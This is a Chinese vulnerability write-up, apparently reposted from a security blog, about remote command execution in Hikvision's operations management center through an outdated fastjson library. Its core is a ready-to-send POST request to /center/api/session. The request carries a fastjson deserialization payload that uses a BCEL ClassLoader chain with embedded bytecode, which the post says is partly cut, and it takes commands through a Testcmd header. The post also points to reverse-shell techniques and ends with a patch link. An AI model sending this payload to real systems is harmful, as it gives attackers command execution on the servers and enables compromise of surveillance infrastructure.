海康威视运行管理中心远程命令执行漏洞(fastjson)

admin 2024年5月8日16:45:44评论35 views字数 1486阅读4分57秒阅读模式
0x00写在前面

      本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍
海康运行管理中心/center/api/session存在远程命令执行漏洞,系统使用低版本的fastjson,且由于存在相关依赖,即使服务器不出网无法远程加载恶意类也可通过本地链直接命令执行,从而获取服务器权限。

0x02影响版本

海康威视运行管理中心

0x03漏洞复现

1.访问漏洞环境

海康威视运行管理中心远程命令执行漏洞(fastjson)

2.对漏洞进行复现

POC (POST)

漏洞复现(bcel代码有删减)

POST /center/api/session HTTP/1.1Host: 127.0.0.1Accept: application/json, text/plain, */*Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: application/json;charset=UTF-8X-Language-Type: zh_CNTestcmd: echo mtUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Content-Length: 5778{"x":{{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90"}}:"a"}}

执行echo 命令回显测试

海康威视运行管理中心远程命令执行漏洞(fastjson)

3.反弹shell及becl参考这两篇文章

参考

天幕安全实验室,公众号:弥天安全实验室【优质软文】浅析Fastjson场景下Java Bcel字节码实践应用
弥天安全实验室,公众号:弥天安全实验室Oracle WebLogic Server 远程代码执行漏洞(CVE-2023-21839)反弹shell
海康威视运行管理中心远程命令执行漏洞(fastjson)
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月8日16:45:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   海康威视运行管理中心远程命令执行漏洞(fastjson)https://cn-sec.com/archives/2720060.html

发表评论

匿名网友 填写信息